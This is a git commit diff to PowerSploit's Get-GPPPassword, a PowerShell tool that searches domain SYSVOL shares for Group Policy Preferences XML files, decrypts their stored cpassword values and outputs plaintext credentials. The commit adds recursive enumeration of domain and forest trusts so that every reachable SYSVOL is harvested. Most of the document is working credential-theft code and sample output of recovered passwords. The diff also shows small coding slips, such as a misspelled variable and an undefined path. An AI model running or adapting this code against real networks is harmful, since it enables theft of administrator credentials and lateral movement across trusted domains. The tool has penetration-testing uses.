Fix for issue #170

Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
This commit is contained in:
HarmJ0y 2017-01-07 20:32:14 -05:00
parent 94438eda67
commit 5500a7e131
1 changed files with 277 additions and 181 deletions

View File

@ -2,97 +2,105 @@ function Get-GPPPassword {
<# <#
.SYNOPSIS .SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec) Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
.DESCRIPTION .DESCRIPTION
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server .PARAMETER Server
Specify the domain controller to search for. Specify the domain controller to search for.
Default's to the users current domain Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword Get-GPPPassword
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:28:53} Changed : {2014-02-21 05:28:53}
Passwords : {password12} Passwords : {password12}
UserNames : {test1} UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters} NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234} Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2} UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$} Passwords : {password, password1234$}
UserNames : {administrator, admin} UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123} Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin} UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq Get-GPPPassword -Server EXAMPLE.COM
password NewName : [BLANK]
password12 Changed : {2014-02-21 05:28:53}
password123 Passwords : {password12}
password1234 UserNames : {test1}
password1234$ File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
read123
Recycling*3ftw! NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK .LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[String] [String]
$Server = $Env:USERDNSDOMAIN $Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
) )
#Some XML issues between versions # define helper function that decodes and decrypts password
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword { function Get-DecryptedCpassword {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
@ -126,122 +134,210 @@ function Get-GPPPassword {
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} }
catch {Write-Error $Error[0]} catch { Write-Error $Error[0] }
} }
#define helper function to parse fields from xml files # helper function to parse fields from xml files
function Get-GPPInnerFields { function Get-GPPInnerField {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
$File $File
) )
try { try {
$Filename = Split-Path $File -Leaf $Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File) [xml] $Xml = Get-Content ($File)
#declare empty arrays # check for the cpassword field
$Cpassword = @() if ($Xml.innerxml -match 'cpassword') {
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field $Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($Xml.innerxml -like "*cpassword*"){ if ($_.cpassword) {
$Cpassword = $_.cpassword
Write-Verbose "Potential password in $File" if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
switch ($Filename) { $Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} }
'Services.xml' { if ($_.newName) {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NewName = $_.newName
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} }
'Scheduledtasks.xml' { if ($_.userName) {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.userName
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
} }
'DataSources.xml' { try {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed = $_.ParentNode.changed
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
} }
'Printers.xml' { try {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NodeName = $_.ParentNode.ParentNode.LocalName
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
} }
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'} if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'} if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'} if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'} if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results $GPPPassword = New-Object PSObject
$ObjectProperties = @{'Passwords' = $Password; $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
'UserNames' = $UserName; $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
'Changed' = $Changed; $GPPPassword | Add-Member Noteproperty 'Password' $Password
'NewName' = $NewName; $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
'File' = $File} $GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
Write-Verbose "The password is between {} and may be more than one value." $GPPPassword
if ($ResultsObject) {Return $ResultsObject} }
}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
} }
catch {Write-Error $Error[0]} # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
} }
try { try {
#ensure that machine is domain joined and script is running as a domain account $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
throw 'Machine is not a domain member or User is not a member of the domain.' if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
} }
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
} }
} }
catch {Write-Error $Error[0]} # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}
if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}
try {
$XMlFiles = @()
$Domains = @()
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMlFiles += $DomainXMLFiles
}
}
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}
catch { Write-Error $Error[0] }
} }